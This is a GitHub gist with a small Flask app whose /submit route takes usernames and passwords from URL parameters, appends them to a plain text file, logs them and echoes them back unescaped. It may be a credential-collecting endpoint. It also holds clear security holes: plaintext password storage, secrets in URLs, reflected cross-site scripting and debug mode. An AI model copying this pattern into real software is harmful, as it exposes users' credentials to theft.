Created
September 15, 2014 20:41
-
-
Save bendtherules/aa692981446086bff70b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
from flask import * | |
# import redis | |
app = Flask(__name__) | |
fname = r"E:/much.txt" | |
# db = redis.StrictRedis(host='localhost', port=6379, db=0) | |
# db.client_setname("Url_shortener") | |
# db_list_user_name = "user" | |
# db_list_pass_name = "pass" | |
@app.route("/submit") | |
def submit_user_pass(): | |
# app.logger.debug("Got request") | |
dict_args = request.args.to_dict() | |
app.logger.debug(dict_args) | |
f = open(fname, "a") | |
f.write("\n" + dict_args["user"] + " " + dict_args["pass"] + "\n") | |
# db.rpush(db_list_user_name, dict_args["user"]) | |
# db.rpush(db_list_pass_name, dict_args["pass"]) | |
# app.logger.debug( | |
# "Submitted " + dict_args["user"] + " " + dict_args["pass"]) | |
return "Submitted " + dict_args["user"] + " " + dict_args["pass"] | |
app.run(debug=True) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment